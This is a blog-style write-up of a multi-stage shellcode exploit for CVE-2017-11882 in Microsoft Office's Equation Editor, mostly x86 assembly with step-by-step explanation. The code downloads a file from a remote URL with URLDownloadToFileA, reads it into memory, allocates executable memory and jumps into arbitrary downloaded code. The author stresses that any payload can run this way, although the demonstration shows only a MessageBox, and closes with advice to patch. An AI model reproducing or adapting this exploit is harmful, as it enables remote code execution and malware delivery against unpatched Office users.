CVE-2017-11882 EXPLOIT USING 108 BYTES AND DOWNLOADING A FILE WITH YOUR UNLIMITED CODE

BY

VALTHEK

First *words of thank to Embedy Company to discover the initial exploit and POC of 44 bytes máximum, Ridter (who based in the original 108 bytes code from* ***unamer,*** *but i saw the Ridter one) with his exploit with max code of 108 bytes, and unamer for the original code from Ridter based.*

Embedy Company link: https://github.com/embedi/CVE-2017-11882

Ridter Link: https://github.com/Ridter/CVE-2017-11882 -> Based in the code of unamer of 109 bytes.

unamer Link: https://github.com/unamer/CVE-2017-11882 -> unamer updates his exploit to 605 bytes yesterday, but i was maked my poc the previous day based using 108 max 2 days ago.

Anyways the original author of the 108 POC is unamer, so, thank you to you.

My goal here is make in a little code using assembly a way to load any code without limit size, of course that anothers exploits can appear without limit or improve it to make better things.

It is a POC to proof that in a little code you can make a lot! ;)

Words of thank for ideas for 51ddh4r7h4 and Fare9 and the russian girl that helped me (you know who you are and for your wishes i dont say your name).

Now start explaining the exploit.

I. INITIAL STAGE

The initial stage of the exploit only can have 43 bytes of max code. In the original exploit of Ridter(unamer original code) we can see this code:

```
#0:  b8 44 eb 71 12        mov    eax,0x1271eb44
#5:  ba 78 56 34 12        mov    edx,0x12345678
#a:  31 d0              xor    eax,edx
#c:  8b 08              mov    ecx,DWORD PTR [eax]
#e:  8b 09              mov    ecx,DWORD PTR [ecx]
#10: 8b 09              mov    ecx,DWORD PTR [ecx]
#12: 66 83 c1 3c           add    cx,0x3c
#16: 31 db              xor    ebx,ebx
#18: 53                 push   ebx
#19: 51                 push   ecx
#1a: be 64 3e 72 12        mov    esi,0x12723e64
#1f: 31 d6              xor    esi,edx
#21: ff 16              call   DWORD PTR [esi] // call WinExec
#23: 53                 push   ebx
#24: 66 83 ee 4c           sub    si,0x4c
#28: ff 10              call   DWORD PTR [eax] // call ExitProcess
```

Ridter gets the address into the stack that have the command that he wishes run using the import WinExec that the exploit application have and later call ExitProcess.

My idea is remove this part and make that can run copied in the address stack as a shellcode with a max of 108 bytes. And yes, i can..

I change the code to this:

```
mov eax, 1271eb44h
mov edx, 12345678h
xor eax, edx
mov ecx, DWORD PTR [eax]
mov ecx, DWORD PTR [ecx]
mov ecx, DWORD PTR [ecx]
add cx, 3Ch

push ecx
ret

szDownloadToFile db 'URLDownloadToFileA'
```

Its have explanation, my idea is download a file from internet with more code and use it without any limit of size (as this exploit have and anothers).

I use the initial code to get the stack address with the shellcode that i put using the Python of Ridter, but finally you get in ECX the address and i call enter using a "push ecx" and "ret" (or "jmp ecx" if you wish).

This lets me with 20 bytes without code that Ridtler full with nops because the function that copy this buffer dont have a counter to finish the operation, and only check that found a null char.

It is because he uses NOP opcodes, in my case i will need use this free 20 bytes to put a long string that later i will need use but I CANT finish the string because the NULL problema that avoid the exploit can works.

So, finally the first stage have all my code and text and 2 NOPS.

Now lets explain the second stage (and the critical one).

II. SECOND STAGE

This part is the critical part in the exploit because only can use 108 bytes as max to make all download and prepare the file.

So, lets start explaining the code:

```
.code

start:

init:

xor byte ptr [ecx-8], 90h
mov ebx, ecx

xor esi, esi
mov edi, 4668A4h

lea edx, [ebx+(url - init)]
push edx
call dword ptr [edi]

lea edx, [ebx-26]
push edx
push eax
sub edi, 14h
call dword ptr [edi]

jmp @_0

url:
szUrl db 'urlmon', 0
web:
szWeb db 'http://<max8chars>/a', 0

@_0:

push esi
push esi
lea edx, [ebx+((web - init)+16)]
push edx
lea edx, [ebx+(web - init)]
push edx
push esi
call eax

push esi
push FILE_ATTRIBUTE_READONLY
push 3
push esi
```

```
push esi
push GENERIC_READ
lea edx, [ebx+((web - init)+16)]
push edx
mov edi, 4668C4h
call dword ptr [edi]

push esi
sub ebx, 034h
push esp
push 07Dh
push ebx
push eax
sub edi, 4
call dword ptr [edi]

critical:

jmp ebx

end start
```

At the begin of the code i have in ECX the initial address of this code, so, i need fix the last byte after the string in the previous stack to finish the ascii string.

The exploit uses the memory in this way:

First stage -> 44 bytes -> A address with a return in the main program (FORCED TO WORK!) so, 4 bytes -> 2 zeroes -> Second stage code.

If you know this only need take the initial second stage code address and sub 8 bytes to reach the byte after the string and xor with 0x90 to make it NULL and finish the string.

Now, saves ECX register into EBX register. IT IS IMPORTANT! Because we will need the initial address later and the apis call will destroy ECX value and we cant use push / pop because lost a lot of space from it.

EBX register dont change in this APIs that i will use (only in URLDownloadToFileA) but the function returns the previous value at the end so, not problem, ;)

Later prepare ESI to 0 with a xor, later will use this register to put zeroes values in 1 byte.

EDI will be used as a register to keep the IAT functions to call. Now put the address to LoadLibraryA into EDI.

```
lea edx, [ebx+(url - init)] ; 3 bytes
push edx ; 1 byte
call dword ptr [edi] ; 2 bytes
```

Now lets put in EDX a pointer to the name of the DLL to load "urlmon.dll". In this case i dont use delta offset trick because make the delta are 11 bytes and later make the pointers are 6 bytes. If i use labels to the string – initial code the preprocessor will put at compiling time the size to the string and this way only are 3 bytes.

It is important notice that if you have a value more than 7D or 7F the instruction will have more bytes. It is because i put the strings at middle of the code.

Call LoadLibrary and now we have in EAX the module base of urlmon (in the string i put only "urlmon" because LoadLibrary puts ".dll" if you dont put that.).

```
lea edx, [ebx-26]
push edx
push eax
sub edi, 14h
call dword ptr [edi]
```

Now i take the string in the previous stage to "URLDownloadToFileA" (now finish the ascii string).

GetProcAddress IAT address is very near of LoadLibraryA IAT address, so, only need make a SUB instead a MOV, and i save 2 bytes here.

Call GetProcAddress and get in EAX the pointer to the function.

```
jmp @_0

url:
szUrl db 'urlmon', 0
web:
szWeb db 'http://<max8chars>/a', 0

@_0:

push esi
push esi
lea edx, [ebx+((web - init)+16)]
push edx
lea edx, [ebx+(web - init)]
push edx
push esi
call eax
```

Now i jmp over the strings (only 2 bytes), and arrive to the call to download the file from a webpage (look the code for max size of the domain). URLDownloadToFile need "http: // " string, so i keep the file name in the domain a only one char.

Call URLDownloadToFileA but i used a trick for the buffer of the file to create, i dont want use another string buffer for this (because i will need 2 bytes), so i use the last char of the url for the name of the file (and this way i save 2 bytes).

```
push esi
push FILE_ATTRIBUTE_READONLY
push 3
push esi
push esi
push GENERIC_READ
lea edx, [ebx+((web - init)+16)]
push edx
mov edi, 4668C4h
call dword ptr [edi]
```

Now will open the file to read it using CreateFileA. Here i make the file without share because i save 1 byte for this.

Now i have in EAX a handle to the file for read.

```
push esi
sub ebx, 034h
push esp
push 07Dh
push ebx
push eax
sub edi, 4
call dword ptr [edi]

critical:

jmp ebx

end start
```

Now i will read the file but i need explain some things here.

First we dont have any space (safe place) to copy this info, so i need reuse some part that i dont know that i can overwrite now…own us code starting from stage 1, ☺

It is because now i SUB EBX 0x34 bytes to reach the first byte into stage 1. Now we need put a pointer to a address to keep the bytes readed (MSDN said that is a optional param but no..), in this case i use ESP without any problem to keep this value (that we dont need anyways). I read only 0x7D bytes because i cant overwrite my own code in the second stage at the end (but anyways we have again 0x7D bytes for code). As ReadFile IAT address is only SUB by 4 i make this SUB and saves 2 bytes instead MOV.

And finally i read the file inside the stack.

Now we have in EBX the initial address of the new code, ESI is 0, EDI is pointing at ReadFile IAT address.

Now i make a JMP EBX and enter in the third stage! In this case from a file downloaded from internet, ☺

III. THIRD STAGE

In this part we make some tricks, reserve memory using VirtualAlloc and copy the remain of the file and jump in this unlimited code, ☺

```
.code

start:

mov eax, dword ptr [esp-(sizeof(DWORD) * 5)]

push edi
push eax

push 40h
push 3000h
push 19000h
push esi
mov edi, 4667d8h
call dword ptr [edi]

pop edx
push edx
push eax

push esi
push esi
push esi
push edx
mov edi, 466854h
call dword ptr [edi]

pop eax
pop edx
pop edi

push esi
push esp
push 18000h
```

```
push eax
mov esi, eax
push edx
call dword ptr [edi]

add esi, (_critical - start)
jmp esi

_critical:

jmp @_1
mensaje:
szMensaje db ' Hello World inside of memory from VirtualAlloc without limit of
size!!!, 0
@_1:

xor ecx, ecx
push ecx
lea edx, [esi+(mensaje - _critical)]
push edx
push edx
push ecx
mov edi, 4669BCh
call dword ptr [edi]

ret

end start
```

The first problems is…we are lost the file handle to read it (dont have space in the previous stage to keep it) and we cant open another instance because CreateFile will return error.

*But…At ESP we have the last position after the call of ReadFile that readed this third stage, the file handle is the first argument in this API call, so, if get this from esp – (sizeof(DWORD) * 5), we get the file handle again, ☺*

Now i save the EDI value (ReadFile IAT address) and EAX (file handle) to use later.

```
mov eax, dword ptr [esp-(sizeof(DWORD) * 5)]

push edi
push eax
```

Now i will reserve with VirtualAlloc more size for the file:

```
push 40h
push 3000h
push 19000h
push esi
mov edi, 4667d8h
call dword ptr [edi]
```

This memory have READ, WRITE, and EXECUTION rights. Is filled with zeroes and prepared.

Now i have in EAX the pointer to the new memory address.

```
pop edx
push edx
push eax

push esi
push esi
push esi
push edx
mov edi, 466854h
call dword ptr [edi]
```

Now take from stack the file handle into EDX, and push again to later and the pointer to the new memory reserved for later.

Now we have a problem, we are in the file pointer in disk after 0x7D from the beginning of the file, so, need fix it. In this case i use SetFilePointer to put again at offset 0.

Now the file internal pointer points to 0.

```
pop eax
pop edx
pop edi

push esi
push esp
push 18000h
push eax
mov esi, eax
push edx
call dword ptr [edi]

add esi, (_critical - start)
jmp esi
```

Now take from stack the pointer to the new memory reserved, the file handle, and EDI pointing to ReadFile IAT address.

Now read the file again but in this case inside the new memory address of the full file size.

Of course i save the pointer to the new memory address reserved in ESI now, and after the read i added to this pointer the third stage size because is copied too and we dont want launch again this part.

Finally we jump inside the memory reserve! ☺

In this POC i make only a MessageBox call to show that i am here, but you can have any code inside, code with a PE file, etc etc.

```
_critical:

jmp @_1
menss:
szMen db 'Hello World inside of memory from VirtualAlloc without limit of size!!!', 0
@_1:

xor ecx, ecx
push ecx
lea edx, [esi+(menss - _critical)]
push edx
push edx
push ecx
mov edi, 4669BCh
call dword ptr [edi]

ret
```

This part is clear i guess, ☺

And done! With only 43 bytes and 108 bytes you can make now only that you want in the system.

Good points:

- *I used a very little size to make this (yes, was possible to the people that said not).*
- *All code execute inside the Microsoft Office Equation program and dont launch any external program avoiding blocks, etc.*
- *Now you dont have limit in size of any type.*

Bad points:

- *In new Windows you need at least admin rights to write the file in the disk. XP dont have this problema by default. But always can make a doc that request admin rights*

and later not problem. And a lot of people (IT IS THE BIG PROBLEM IN SECURITY FIELD!) that push ok in any UAC prompt, etc.

IV. FINAL WORDS

The people need UPDATE ASAP the Office. Microsoft releases a patch for this that avoid it.

The problem not is that Antivirus Programs cant detect it, or have problems to avoid this type of exploit, the problem is the people (and BIG ENTERPRISES) uses illegal Offices suites that never will get the update and, you are be warned, you will have problems very soon.

Is only a matter the time that people that make malware and get money from this we will make some type of attack.

Thank you for your Reading!

VALTHEK